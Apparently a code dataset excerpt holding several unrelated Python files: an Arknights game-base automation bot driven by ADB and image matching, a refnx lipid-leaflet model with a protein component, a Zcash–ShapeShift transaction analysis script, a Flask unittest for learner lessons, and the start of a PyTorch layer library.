pictureFind.matchImg(self.imgSrc, self.dormObj[0], 0.8)\n if pic0PeoInfo != None:\n self.alreadyIsClear = True\n break\n else:\n break\n else:\n return False\n \n if self.getInXY == None:\n picGetInInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[4], 0.9)\n if picGetInInfo != None:\n self.getInXY = picGetInInfo\n\n picFullInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[7], 0.9)\n if picFullInfo == None:\n self.click(self.getInXY) #打开干员界面\n sleep(1)\n self.adb.screenShot()\n picDistractedInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[5], 0.8)\n if picDistractedInfo == None:\n self.noMoreTiredP = True #已经没有还需要休息的干员了,避免进入下个宿舍,节约时间\n return False\n else:\n self.click(picDistractedInfo)\n\n picEnsureInfo = pictureFind.matchImg(self.imgSrc, self.ensure, 0.9)\n self.click(picEnsureInfo) #确认\n sleep(0.5)\n return True\n else:\n return False\n\n def run(self):\n #self.isFinish = False\n self.isRun = True\n\n self.backToConstruction()\n\n if self.positionXY == None:\n self.isRun = False\n else:\n for eachRoom in self.positionXY:\n if self.isRun == False:\n break\n if self.noMoreTiredP:\n break\n\n count = 0\n while count < 5:\n self.click(eachRoom)\n sleep(0.5)\n self.adb.screenShot()\n picInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[6], 0.9)\n if picInfo != None:\n break\n else:\n self.isRun = False\n\n self.alreadyIsClear = False #每个宿舍的清空状态需要重置\n\n while self.isRun:\n runningState = self.start()\n if runningState == False:\n break\n\n self.backToConstruction()\n self.backToConstruction()\n self.restart()\n\n\nclass Center(Room):\n def __init__(self, positionXY, adb, getInPosition = (1200, 200), screenPosition='left'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.getInXY = getInPosition\n self.centerObj = [self.cwd + '/res/construction/center/' + each for each \\\n in listdir(self.cwd + '/res/construction/center')]\n self.centerTalent = [self.cwd + '/res/construction/talentCenter/' + each for each \\\n in listdir(self.cwd + '/res/construction/talentCenter')]\n self.noneTalent = [self.cwd + '/res/construction/talentNone/' + each for each \\\n in listdir(self.cwd + '/res/construction/talentNone')]\n\n def start(self):\n self.adb.screenShot() #判断是否打开了进驻信息面板\n picLiveMsgClosedInfo = pictureFind.matchImg(self.imgSrc, self.centerObj[2], 0.8) #关闭状态\n picLiveMsgOpenInfo = pictureFind.matchImg(self.imgSrc, self.centerObj[3], 0.9) #打开状态\n if picLiveMsgOpenInfo != None:\n pass\n elif picLiveMsgClosedInfo != None:\n self.click(picLiveMsgClosedInfo)\n sleep(0.5)\n return True\n\n self.adb.screenShot()\n picFullCenterInfo = pictureFind.matchImg(self.imgSrc, self.centerObj[1], 0.9) #判断中枢是否已经满员\n if picFullCenterInfo != None:\n return False\n else:\n self.click(self.getInXY) #进入选择干员界面,这里用了默认值(1440*810下)做坐标,也可以将宿舍界面得到的进驻按钮坐标输入\n sleep(0.5)\n self.adb.screenShot()\n for eachTalent in self.centerTalent: #选择有中枢相关能力的干员\n picTalentInfo = pictureFind.matchForWork(self.imgSrc, eachTalent, self.cwd + '/bin/adb')\n if picTalentInfo != None:\n self.click(picTalentInfo)\n break\n else:\n for eachPeople in self.noneTalent: #没有相关干员的时候随便用一些人来凑数 为防止部分干员能力浪费应当跳过这部分\n picTalentInfo = pictureFind.matchImg(self.imgSrc, eachPeople, 0.9)\n if picTalentInfo != None:\n self.click(picTalentInfo)\n break\n \n picEnsureInfo = pictureFind.matchImg(self.imgSrc,self.ensure, 0.9) #确定干员选中\n if picEnsureInfo != None:\n self.click(picEnsureInfo)\n return True\n else:\n return False\n \n\n def run(self):\n super().run(self.centerObj[0])\n\n\n\nclass Reception(Room):\n def __init__(self, positionXY, adb, screenPosition='right'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.clueNo = 0\n self.checkClueFinish = False\n self.collectClueFinish = False\n self.dailyClueFinish = False\n self.clueXYList = list()\n self.isClueSendAllow = True\n\n self.talentClue = [self.cwd + '/res/construction/talentClue/' + each for each in \\\n listdir(self.cwd + '/res/construction/talentClue')]\n self.receptionObj = [self.cwd + '/res/construction/reception/' + each for each in \\\n listdir(self.cwd + '/res/construction/reception')]\n self.clueObj = [self.cwd + '/res/construction/clue/' + each for each in \\\n listdir(self.cwd + '/res/construction/clue')]\n self.clueCheckObj = [self.cwd + '/res/construction/clueCheck/' + each for each in \\\n listdir(self.cwd + '/res/construction/clueCheck')]\n\n def sendClue(self):\n '线索赠送'\n self.adb.screenShot()\n picSendInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[9], 0.9)\n self.click(picSendInfo)\n sleep(1) \n for tryCount in range(5):\n #共5次,尝试进入线索赠送界面\n self.adb.screenShot()\n picSendInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[9], 0.9)\n picCheckInfo = pictureFind.matchImg(self.imgSrc, self.clueCheckObj[0], 0.9)\n if picSendInfo == None and picCheckInfo != None:\n #如果已经进入就不再尝试\n self.isInSendClueOneTime = True\n break\n elif picSendInfo != None and picCheckInfo == None:\n #还未进入,尝试进入\n self.click(picSendInfo)\n sleep(0.5)\n else:\n #既不在二级界面也不在线索赠送界面,可能在加载,再来一次\n sleep(0.5)\n\n for clueNum in range(1,8):\n #获取线索1-7按钮的位置\n picClueXY = pictureFind.matchImg(self.imgSrc, self.clueCheckObj[clueNum], 0.9)\n self.clueXYList.append(picClueXY['result'])\n\n for eachClueColumnNo in range(7):\n if not self.isRun:\n break\n self.click(self.clueXYList[eachClueColumnNo])\n sleep(0.5)\n self.adb.screenShot()\n clueXYList = pictureFind.matchMultiImg(self.imgSrc, self.clueObj[7+eachClueColumnNo], self.cwd + '/bin/adb')\n if clueXYList != None:\n while len(clueXYList) >= 2 and self.isRun:\n picSendButtonInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[7], 0.9)\n self.click(clueXYList[0])\n sleep(0.5)\n self.click(picSendButtonInfo)\n sleep(0.5)\n self.adb.screenShot()\n clueXYList = pictureFind.matchMultiImg(self.imgSrc, self.clueObj[7+eachClueColumnNo], self.cwd + '/bin/adb')\n\n while self.isRun:\n #尝试退出\n picExitInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[11], 0.9)\n self.click(picExitInfo)\n self.adb.screenShot()\n #会客室二级菜单有三种状态,你可知道有哪三种(划掉)\n #一个一个判断,第一个出现的概率应该远大于第二第三个,所以先判断,企图省下一些微不足道的时间\n picClueCtrlInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[2], 0.9)\n if picClueCtrlInfo != None:\n break\n else:\n picClueCtrlInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[10], 0.9)\n if picClueCtrlInfo != None:\n break\n else:\n picClueCtrlInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[13], 0.9)\n if picCheckInfo != None:\n break\n \n self.checkClueFinish = True\n return True\n\n\n def collectClue(self):\n '收取线索'\n picNewClueNeedCollectInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[4], 0.9)\n if picNewClueNeedCollectInfo != None:\n self.click(picNewClueNeedCollectInfo)\n sleep(1)\n self.adb.screenShot()\n picGetAllInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[5], 0.9)\n self.click(picGetAllInfo)\n\n self.collectClueFinish = True\n return True\n\n\n def getDailyClue(self):\n '收取每日刷新的一个线索'\n picDailyClueInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[3], 0.9)\n if picDailyClueInfo != None:\n self.click(picDailyClueInfo)\n sleep(0.5)\n self.adb.screenShot()\n picGetDailyInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[6], 0.9)\n picExitInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[12], 0.9)\n self.click(picGetDailyInfo)\n self.adb.screenShot()\n self.click(picExitInfo)\n\n\n self.dailyClueFinish = True\n\n def unlockClue(self):\n '解锁线索'\n picUnlockInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[8], 0.9)\n self.click(picUnlockInfo)\n\n\n def start(self):\n self.adb.screenShot()\n picEnterInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[0], 0.9)\n if picEnterInfo != None:\n self.click(picEnterInfo) #进入会客室二级界面\n return True\n else:\n #下面三行都是判断是否已经处于会客室二级界面(线索界面)\n picClueCtrlInfo1 = pictureFind.matchImg(self.imgSrc, self.receptionObj[2], 0.9)\n picClueCtrlInfo2 = pictureFind.matchImg(self.imgSrc, self.receptionObj[10], 0.9)\n picClueCtrlInfo3 = pictureFind.matchImg(self.imgSrc, self.receptionObj[13], 0.9)\n if picClueCtrlInfo1 == None and picClueCtrlInfo2 == None and picClueCtrlInfo3 == None:\n print('出错') #没能成功进入会客室二级界面,跳过会客室部分\n return False\n else:\n picWaitPeoInfo = pictureFind.matchImg(self.imgSrc, self.receptionObj[1], 0.9) #判断是否缺人\n if picWaitPeoInfo != None:\n print('正在换人') #写了gui之后可能会变为修改一个变量,通过类的方法获取当前执行状态展示在gui界面上\n self.change(self.receptionObj[1], self.talentClue)\n return True\n\n if not self.dailyClueFinish: \n self.getDailyClue()\n return True\n\n self.adb.screenShot()\n if (not self.checkClueFinish) and self.isClueSendAllow: \n self.sendClue()\n return True\n\n self.adb.screenShot()\n if not self.collectClueFinish:\n self.collectClue()\n return True\n\n self.adb.screenShot()\n\n #下面是查找有无线索缺失,缺失的线索有无装载\n picClueLackInfo = pictureFind.matchImg(self.imgSrc, self.clueObj[self.clueNo], 0.85)\n print(self.clueNo)\n if self.clueNo >6: #如果7个线索都查看过一次了,就尝试解锁线索\n self.unlockClue()\n return False\n\n #实际运行的时候下面这部分效率有些低,但是因为我不过专业所以完全想不到为什么\n elif picClueLackInfo != None:\n print(picClueLackInfo)\n self.click(picClueLackInfo)\n sleep(0.5)\n self.adb.screenShot()\n picNoClueInfo = pictureFind.matchImg(self.imgSrc, self.clueObj[7 + self.clueNo], 0.85)\n print(picNoClueInfo)\n\n self.clueNo += 1\n self.click(picNoClueInfo)\n sleep(0.5)\n return True\n\n else:\n self.clueNo += 1\n return True\n \n\n def run(self):\n super().run(self.receptionObj[0])\n self.restart()\n\n def restart(self):\n '重置'\n self.clueNo = 0\n self.dailyClueFinish = False\n self.collectClueFinish = False\n self.checkClueFinish = False\n self.ClueXYList = list()\n\n def switchSendClue(self):\n #赠送线索的开关,写成这样应该方便gui调用一些\n #但是我又想我好像把会客室的实例写到一个大类里了,这个东西显得就不是很有必要\n self.isClueSendAllow = False if self.isClueSendAllow else True\n\nclass Office(Room):\n def __init__(self, positionXY, adb, screenPosition='right'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.officeObj = [self.cwd + '/res/construction/office/' + each for each in \\\n listdir(self.cwd + '/res/construction/office')]\n self.talentOffice = [self.cwd + '/res/construction/talentOffice/' + each for each in \\\n listdir(self.cwd + '/res/construction/talentOffice')]\n\n def start(self):\n print('办公室')\n self.change(self.officeObj[0], self.talentOffice)\n\n self.adb.screenShot()\n picLackPeoInfo = pictureFind.matchImg(self.imgSrc, self.officeObj[0], 0.9)\n if picLackPeoInfo == None:\n return False\n else:\n print('本次更换人员失败') \n #这里好像可能会进入一个死循环,但这个基本不会出错,我相信它。反正再不济stop方法都能让它停下来 --2019.11.23.21:11\n return True\n\n def run(self):\n super().run(self.officeObj[1])\n\n\nclass ConstructionPanel:\n def __init__(self):\n self._cwd = getcwd().replace('\\\\','/')\n self._src = self._cwd + '/bin/adb/arktemp.png'\n self._listObj = []\n self._isRun = False\n self._step = ''\n self._caution = self._cwd + '/res/construction/caution.png'\n self._trust = self._cwd + '/res/construction/trust/trust.png'\n \n \n def preInitialize(self, direction = 0):\n if direction == 0:\n self._adb.swipe((500,500), (800,500))\n sleep(1)\n else:\n self._adb.swipe((800,500), (500,500))\n sleep(1)\n\n\n def initialize(self):\n self._adb = adbCtrl.adb(self._cwd + '/bin/adb', self._cwd + '/config.ini')\n self._adb.connect()\n\n \n #获得左半平面的房间的坐标\n self.preInitialize()\n sleep(0.5)\n self._adb.screenShot()\n self._dormXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/vacantRomm.png', self._cwd + '/bin/adb')\n self._productXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/productStation.png', self._cwd + '/bin/adb')\n self._tradeXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/tradeStation.png', self._cwd + '/bin/adb')\n self._centerXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/center.png', self._cwd + '/bin/adb')\n\n #获得右半平面的房间的坐标\n self.preInitialize(1)\n sleep(0.5)\n self._adb.screenShot()\n self._receptionXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/receptionRoom.png', self._cwd + '/bin/adb')\n self._officeXY = pictureFind.matchMultiImg(self._src, self._cwd + '/res/construction/officeRoom.png', self._cwd + '/bin/adb')\n\n self._listObj = self.create()\n\n def create(self):\n self._dorm = Dormitory(self._dormXY, self._adb)\n self._trade = Trade(self._tradeXY, self._adb)\n self._product = Production(self._productXY, self._adb)\n self._center = Center(self._centerXY, self._adb)\n self._reception = Reception(self._receptionXY, self._adb)\n self._office = Office(self._officeXY, self._adb)\n \n return [self._dorm, self._trade, self._product, self._reception, self._office, self._center, self._reception] #会客室可能要来三回\n\n def click(self, info):\n if isinstance(info, dict):\n self._adb.click(info['result'][0], info['result'][1])\n else:\n pass\n\n def run(self):\n self._isRun = True\n step = 0\n for eachObj in self._listObj:\n eachObj.run()\n if not self._isRun:\n break\n print(step)\n step += 1\n #self._reception.run()\n #上面这行是我用来测试会客室的时候用的 作为最复杂的一个房间 很有纪念意义就不删了\n\n self.getTrust() #在最后进行信赖触摸 方法内部已经判断了是否终止,所以这里就不用了\n self._isRun = False\n\n def stop(self):\n self._isRun = False\n for eachObj in self._listObj:\n eachObj.stop()\n\n def getTrust(self):\n while self._isRun:\n self._adb.screenShot()\n picCautionInfo = pictureFind.matchImg(self._src, self._caution, 0.9)\n if picCautionInfo == None:\n break\n\n self.click(picCautionInfo)\n sleep(0.5)\n self._adb.screenShot()\n picTrustInfo = pictureFind.matchImg(self._src, self._trust, 0.9)\n if picTrustInfo != None:\n self.click(picTrustInfo)\n self._isRun = False\n break\n \n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n \n #下面都是测试用部分\n\n con = ConstructionPanel()\n con.initialize()\n def test():\n con.run()\n #con._reception.run()\n\n def stop():\n con.stop()\n\n from _thread import start_new_thread\n start_new_thread(test,())\n print('!')\n input()\n stop()\n input()","sub_path":"foo/arknight/Construction.py","file_name":"Construction.py","file_ext":"py","file_size_in_byte":28136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"376122741","text":"import numpy as np\nfrom refnx.reflect import Component, SLD, ReflectModel, Structure, LipidLeaflet\nfrom refnx.analysis import possibly_create_parameter, Parameters, Parameter\n\nclass LipidLeafletWithProtien(LipidLeaflet):\n def __init__(self, apm, b_heads, vm_heads, thickness_heads,\n b_tails, vm_tails, thickness_tails, rough_head_tail,\n rough_preceding_mono,\n\n water_vm, waters_per_head, waters_per_tail, b_mscl, vm_mscl, PLRatio,\n \n head_solvent=None, tail_solvent=None,\n reverse_monolayer=False, name=''):\n\n super(LipidLeafletWithProtien, self).__init__(apm, b_heads, vm_heads, thickness_heads,\n b_tails, vm_tails, thickness_tails, rough_head_tail,\n rough_preceding_mono, head_solvent, tail_solvent,\n reverse_monolayer, name)\n\n\n if isinstance(b_mscl, complex):\n self.b_mscl_real = possibly_create_parameter(\n b_mscl.real,\n name='%s - b_mscl_real' % name)\n self.b_mscl_imag = possibly_create_parameter(\n b_mscl.imag,\n name='%s - b_mscl_imag' % name)\n elif isinstance(b_mscl, SLD):\n self.b_mscl_real = b_mscl.real\n self.b_mscl_imag = b_mscl.imag\n else:\n self.b_mscl_real = possibly_create_parameter(\n b_mscl,\n name='%s - b_mscl_real' % name)\n self.b_mscl_imag = possibly_create_parameter(\n 0,\n name='%s - b_mscl_imag' % name)\n \n self.vm_mscl = possibly_create_parameter(\n vm_mscl,\n name='%s - vm_mscl, protien volume' % name)\n \n self.PLRatio = possibly_create_parameter(\n PLRatio,\n name='%s - PLRatio, protien lipid ratio' % name)\n\n self.water_vm = possibly_create_parameter(\n water_vm,\n name='%s - water_vm' % name)\n\n self.waters_per_head = possibly_create_parameter(\n waters_per_head,\n name='%s - waters_per_head' % name)\n \n self. waters_per_tail = possibly_create_parameter(\n waters_per_tail,\n name='%s - waters_per_tail' % name)\n\n\n def sld_(self, b_heads, b_tails, b_mscl):\n lipid_head_sld = float(b_heads) / self.vm_head() * 1.e6\n lipid_tail_sld = float(b_tails) / self.vm_tail() * 1.e6\n\n mscl_sld = float(b_mscl)/float(self.vm_mscl.value) * 1.e6\n\n mscl_head_sld = mscl_sld*(float(self.thickness_heads)/\n (2*(float(self.thickness_heads)+float(self.thickness_tails))))\n mscl_tail_sld = mscl_sld*(float(self.thickness_heads)/\n (2*(float(self.thickness_heads)+float(self.thickness_tails))))\n\n head_sld = (self.PLRatio*lipid_head_sld) + (1-self.PLRatio)*mscl_head_sld\n tail_sld = (self.PLRatio*lipid_tail_sld) + (1-self.PLRatio)*mscl_tail_sld\n return head_sld, tail_sld\n\n def vm_head(self):\n return self.vm_heads.value + self.water_vm.value * self.waters_per_head.value\n\n def vm_tail(self):\n return self.vm_tails.value + self.water_vm.value * self.waters_per_tail.value\n\n\n def slabs(self, structure=None):\n \"\"\"\n Slab representation of monolayer, as an array\n\n Parameters\n ----------\n structure : refnx.reflect.Structure\n The Structure hosting this Component\n \"\"\"\n layers = np.zeros((2, 5))\n\n # thicknesses\n layers[0, 0] = float(self.thickness_heads)\n layers[1, 0] = float(self.thickness_tails)\n\n # real and imag SLD's\n head_sld_real, tail_sld_real = self.sld_(self.b_heads_real, #real\n self.b_tails_real,\n self.b_mscl_real)\n head_sld_imag, tail_sld_imag = self.sld_(self.b_heads_imag, #imaginary\n self.b_tails_imag,\n self.b_mscl_imag)\n layers[0, 1] = head_sld_real\n layers[0, 2] = head_sld_imag\n\n layers[1, 1] = tail_sld_real\n layers[1, 2] = tail_sld_imag\n\n # roughnesses\n layers[0, 3] = float(self.rough_preceding_mono)\n layers[1, 3] = float(self.rough_head_tail)\n\n # volume fractions\n # head region\n volfrac = self.vm_head() / (self.apm.value *\n self.thickness_heads.value)\n layers[0, 4] = 1 - volfrac\n if self.head_solvent is not None:\n # we do the solvation here, not in Structure.slabs\n layers[0] = Structure.overall_sld(layers[0], self.head_solvent)\n layers[0, 4] = 0\n\n # tail region\n volfrac = self.vm_tail() / (self.apm.value *\n self.thickness_tails.value)\n\n layers[1, 4] = 1 - volfrac\n if self.tail_solvent is not None:\n # we do the solvation here, not in Structure.slabs\n layers[1] = Structure.overall_sld(layers[1], self.tail_solvent)\n layers[1, 4] = 0\n\n if self.reverse_monolayer:\n layers = np.flipud(layers)\n layers[:, 3] = layers[::-1, 3]\n\n return layers\n\n @property\n def parameters(self):\n p = Parameters(name=self.name)\n p.extend([self.apm,\n self.b_heads_real, self.b_heads_imag, self.vm_heads,\n self.thickness_heads,\n self.b_tails_real, self.b_tails_imag, self.vm_tails,\n \n self.waters_per_head, self.waters_per_tail,\n self.b_mscl_real, self.b_mscl_imag, self.vm_mscl,\n \n self.thickness_tails, self.rough_head_tail,\n self.rough_preceding_mono,\n \n self.PLRatio])\n \n if self.head_solvent is not None:\n p.append(self.head_solvent.parameters)\n if self.tail_solvent is not None:\n p.append(self.tail_solvent.parameters)\n return p\n\n def logp(self):\n # penalise unphysical volume fractions.\n volfrac_h = self.vm_head() / (self.apm.value *\n self.thickness_heads.value)\n\n # tail region\n volfrac_t = self.vm_tail() / (self.apm.value *\n self.thickness_tails.value)\n\n if volfrac_h > 1 or volfrac_t > 1:\n return -np.inf\n\n return 0\n\n","sub_path":"mphys/protein/LipidLeafletWithProtien.py","file_name":"LipidLeafletWithProtien.py","file_ext":"py","file_size_in_byte":6623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"294897208","text":"__author__ = 'haaroony'\n'''\nThis script contains methods that look at interactions between ShapeShift and the shielded pool. \n \n Interaction A\n -------------- ----------- -----------------\n | ShapeShift | ---> | address | --> | shielded pool |\n -------------- ----------- -----------------\n ^ |\n | |\n |-------------------------------------|\n Interaction B\n\nInteraction A is whether a user does a ShapeShift and then sends the money into the pool \n(ShapeShift -> address -> pool).\nInteraction B is when a user sends money from the pool directly to ShapeShift \n(pool -> ShapeShift).\n'''\n\nimport blocksci\n\n'''\n\nParameters:\n chain: blocksci zcash chain object\n zcashp1tx: zcash phase 1 transactions in the format\n {\n 'shapeshift tx index': [blockchain tx id..],\n ...\n }\n zcashp2tx: zcash phase 2 transactions in the format\n {\n 'shapeshift tx index': [blockchain tx id..],\n ...\n }\n sscluster: a list of addresses in the shapeshift cluster \n transactions: a list of shapeshift in the format below,\n where the 'shapeshift tx index' above corresponds to the \n transaction at the same index\n e.g.[\n [1515199132, #timestamp\n 0.01, #feee\n 200.53933771, #amount\n '06012018', #date\n 8.13071075, #rate\n 'LBC_DGB', #pair\n 1515199153, #rate time\n 229.26076457845082], #usd value\n [...\n ...\n ]\n'''\n\ndef interactionAandB(chain, zcashp1tx, zcashp2tx, zcashtransactions):\n straightIntoPool = []\n # Get the one hit wonders\n straightindexes = []\n for x in zcashp2tx:\n if len(zcashp2tx[x])==1:\n straightindexes.extend(zcashp2tx[x])\n txs = chain.filter_txes(lambda t: t.block_height > 180742 and t.index in straightindexes)\n\n # for each tx with one hit:\n found=0\n tempcount = 0\n totalval = 0\n totalpoolval = 0\n straightIntoPool=[]\n skipped=0\n for ssindex in zcashp2tx:\n tempcount+=1\n if tempcount % 100 == 0:\n print(str(tempcount)+\"/\"+str(len(zcashp2tx)))\n if len(zcashp2tx[ssindex])==0:\n continue\n for tx in zcashp2tx[ssindex]:\n if tx['status'] != 'complete':\n continue\n try:\n blktx = chain.tx_with_hash(tx['transaction'])\n except RuntimeError:\n skipped+=1\n continue\n # compute exchange vzcalue of ss tx\n if 'outgoingCoin' not in tx:\n continue\n zecValue = int(float(tx['outgoingCoin'])*1e8)\n totalval += zecValue\n # find the output\n for out in blktx.outs:\n if out.value == zecValue and out.is_spent:\n found+=1\n # see if it was spent\n # if spent, check if it went to a node out of the cluster\n spentTxIndex = out.spending_tx_index\n spentTx = chain.tx_with_index(spentTxIndex)\n # if unspent then ignore\n if spentTx == 0:\n continue\n\n if spentTx.output_count == 0:\n totalpoolval += out.value\n straightIntoPool.append(spentTx)\n\n print('all p2 txs ' + str(len(zcashp2tx)))\n print(\"Interaction A: Total txs into pool:\" + str(len(straightIntoPool)))\n print(\"Interaction A: Total coins into pool: \" + str(totalpoolval))\n print('total value of zcash p2 ' + str(totalzecp2))\n\n\n # Interaction B\n tempcount = 0\n frompool = 0\n totalfrompool = 0\n for ssindex in zcashp1tx:\n tempcount+=1\n if tempcount % 5000 == 0:\n print(str(tempcount)+\"/\"+str(len(zcashp1tx)))\n if len(zcashp1tx[ssindex])!=1:\n continue\n txindex = zcashp1tx[ssindex][0]\n tx = None\n for a in txs:\n if a.index == txindex:\n tx = a\n break\n if tx is None:\n print('didnt find')\n continue\n sstx = zcashtransactions[ssindex]\n # compute exchange value of ss tx\n zecValue = sstx[2]*1e8\n # find the output\n d = False\n for out in tx.outs:\n if d:\n continue\n # see if it was spent\n if zecValue == out.value and len(tx.ins) == 0:\n frompool += 1\n totalfrompool += zecValue\n d = True\n\n\n print(\"Interaction B: Total txs from pool : \" + str(len(frompool)))\n print('Interaction B: Total coins from pool : ' + str(totalfrompool/1e8))\n","sub_path":"6b-AnonymityTools/anonymityToolZcash.py","file_name":"anonymityToolZcash.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"456155676","text":"# TDD by yichen.kwek.2019\n\nimport unittest\nimport flask_testing\nfrom learner_lesson import Learner_Lesson, db as db1, app\nfrom learner import Learner, db as db2\nfrom lesson import Lesson, db as db3\nfrom engineer import Engineer, db as db4\n\nclass TestApp(flask_testing.TestCase):\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite://\"\n app.config['SQLALCHEMY_ENGINE_OPTIONS'] = {}\n app.config['TESTING'] = True\n\n def create_app(self):\n return app\n\n def setUp(self):\n db1.create_all()\n db2.create_all()\n db3.create_all()\n db4.create_all()\n\n\n def tearDown(self):\n db1.session.remove()\n db1.drop_all()\n db2.session.remove()\n db2.drop_all()\n db3.session.remove()\n db3.drop_all()\n db4.session.remove()\n db4.drop_all()\n\n\nclass TestLearnerLesson(TestApp):\n def test_learner_lesson_update(self):\n lesson1 = Lesson(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 1,\n description = 'Learn about Ink Qualities'\n )\n\n learner1 = Learner(\n engineer_name = 'Nawi',\n engineer_id = 1,\n learner_id = 1\n )\n\n learner_lesson_1 = Learner_Lesson(\n course_name = lesson1.course_name,\n class_id = lesson1.class_id,\n lesson_id = lesson1.lesson_id,\n learner_id = learner1.learner_id,\n is_completed = False\n )\n\n db3.session.add(lesson1)\n db2.session.add(learner1)\n db1.session.add(learner_lesson_1)\n db1.session.commit()\n db2.session.commit()\n db3.session.commit()\n\n\n learner_lesson_url = \"/learner_lesson/update_completion/\" + learner_lesson_1.course_name + \"/\" + str(learner_lesson_1.learner_id) + \"/\" + str(learner_lesson_1.lesson_id)\n\n response = self.client.put(learner_lesson_url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json, \n {\n \"code\": 200,\n \"data\": {\n \"learner_lesson\": {\n \"course_name\": 'Ink Course',\n \"class_id\": 1,\n \"lesson_id\": 1,\n \"learner_id\": 1,\n \"is_completed\": True\n }\n }\n })\n\n def test_completed_learner_lesson_retrieval(self):\n lesson1 = Lesson(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 1,\n description = 'Learn about Ink Qualities'\n )\n\n lesson2 = Lesson(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 2,\n description = 'Learn about Ink Temperature'\n )\n\n lesson3 = Lesson(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 3,\n description = 'Learn about Ink Viscosity'\n )\n\n learner1 = Learner(\n engineer_name = 'Nawi',\n engineer_id = 1,\n learner_id = 1\n )\n\n learner_lesson_1 = Learner_Lesson(\n course_name = lesson1.course_name,\n class_id = lesson1.class_id,\n lesson_id = lesson1.lesson_id,\n learner_id = learner1.learner_id,\n is_completed = True\n )\n\n learner_lesson_2 = Learner_Lesson(\n course_name = lesson2.course_name,\n class_id = lesson2.class_id,\n lesson_id = lesson2.lesson_id,\n learner_id = learner1.learner_id,\n is_completed = True\n )\n\n learner_lesson_3 = Learner_Lesson(\n course_name = lesson3.course_name,\n class_id = lesson3.class_id,\n lesson_id = lesson3.lesson_id,\n learner_id = learner1.learner_id,\n is_completed = False\n )\n\n db3.session.add(lesson1)\n db3.session.add(lesson2)\n db3.session.add(lesson3)\n db2.session.add(learner1)\n db1.session.add(learner_lesson_1)\n db1.session.add(learner_lesson_2)\n db1.session.add(learner_lesson_3)\n db1.session.commit()\n db2.session.commit()\n db3.session.commit()\n\n get_learner_lesson_url = \"/learner_lesson/completed/\" + learner_lesson_1.course_name + \"/\" + str(learner_lesson_1.learner_id)\n\n response = self.client.get(get_learner_lesson_url)\n self.assertEqual(response.status_code, 200)\n\n # TO DO\n self.assertEqual(response.json, \n {\n \"code\": 200,\n \"data\": {\n \"learner_lesson\": [\n {\n \"course_name\": 'Ink Course',\n \"class_id\": 1,\n \"lesson_id\": 1,\n \"learner_id\": 1,\n \"is_completed\": True\n },\n {\n \"course_name\": 'Ink Course',\n \"class_id\": 1,\n \"lesson_id\": 2,\n \"learner_id\": 1,\n \"is_completed\": True\n }\n ]\n }\n })\n \n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"models/test_learner_lesson.py","file_name":"test_learner_lesson.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"381998584","text":"import torch.nn as nn\nimport torch\nfrom thop import profile, clever_format\n\n\"\"\"\nthe library of base classes that have been defined(已经定义好的基础类仓库)\nContain(包含):\n-----base convolution(基本卷积层)\n-----residual layer(基本的残差层)\n-----pool layer(基本的池化层)\n-----upsample layer(基本的上采样层)\n-----initialization parameters(初始化参数)\n-----count the flops and params(统计计算量和参数量)\n\"\"\"\n\n\n# Define a base convolution(定义基本的卷积层)\nclass ConvolutionLayer(nn.Module):\n\n def __init__(self, list, act_func=nn.ReLU(True)):\n \"\"\"\n Input Parameters(输入参数)-----\n :param list: convolution parameters list(卷积参数列表)\n :param act_func: activation function(使用的激活函数)\n \"\"\"\n super().__init__()\n self.base_conv = nn.Sequential(\n nn.Conv2d(*list),\n nn.BatchNorm2d(list[1]),\n act_func\n )\n\n def forward(self, x):\n return self.base_conv(x)\n\n\n# Define a base transpose convolution(定义基本的转置卷积层)\nclass TransposeConvolutionLayer(nn.Module):\n\n def __init__(self, list, act_func=nn.ReLU(True)):\n \"\"\"\n Input Parameters(输入参数)-----\n :param list: convolution parameters list(转置卷积参数列表)\n :param act_func: activation function(使用的激活函数)\n \"\"\"\n super().__init__()\n self.base_conv = nn.Sequential(\n nn.ConvTranspose2d(*list),\n nn.BatchNorm2d(list[1]),\n act_func\n )\n\n def forward(self, x):\n return self.base_conv(x)\n\n\n# Define a residual layer(定义基本的残差类)\nclass ResidualLayer(nn.Module):\n\n def __init__(self, in_channel, times=1):\n \"\"\"\n Input Parameters(输入参数)-----\n :param in_channel: Input 